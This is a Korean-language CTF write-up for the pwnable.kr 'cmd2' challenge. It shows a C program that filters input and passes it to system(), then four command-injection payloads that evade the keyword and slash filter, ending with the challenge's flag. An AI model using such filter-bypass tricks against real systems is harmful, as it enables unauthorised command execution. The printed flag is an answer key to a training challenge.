<코드>
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}
<분석>
extern char** environ : 환경변수 목록들
environ[i] 인자들이 각각의 환경변수들 ("키=값" 문자열)
필터링 =, PATH, export, /, `, flag
cmd2@pwnable:~$ ./cmd2 "expor''t"
expor''t
export PATH='/no_command_execution_until_you_become_a_hacker'
export PWD='/home/cmd2'
// export 명령어 이용해 확인해보면 환경변수 초기화되어 2개밖에 없음..
<풀이1>
cat 대신 command 명령어를 사용한다....
Options:
-p use a default value for PATH that is guaranteed to find all of the standard utilities (PATH와 별개로 기존 경로를 모두 찾아 명령어를 수행한다)
=> ./cmd2 'command -p cat fla*'
<풀이2>
cf) $는 [1] 변수 참조: MY_TEST=1213; echo $MY_TEST / a=ls; $a
[2] command substitution: echo $(pwd)
cf) read 명령어는 표준입력으로부터 input 받아 변수에 저장
stdin으로 명령어를 입력받아 실행시킨다
=> ./cmd2 'read a; $a' 후 /bin/cat flag 입력
<풀이3>
borne shell의 빌트인 명령어 set은 -s 옵션 사용해 stdin에서
명령어 입력받아 실행한다
=> ./cmd2 'set -s' 후 /bin/cat flag 입력
<풀이4>
$() 문법으로 8진수 인코딩 된 text를 변환해 명령어 실행
cmd2@pwnable:~$ ./cmd2 '$(echo "\057"bin"\057"cat fl*)'
$(echo "\057"bin"\057"cat fl*)
FuN_w1th_5h3ll_v4riabl3s_haha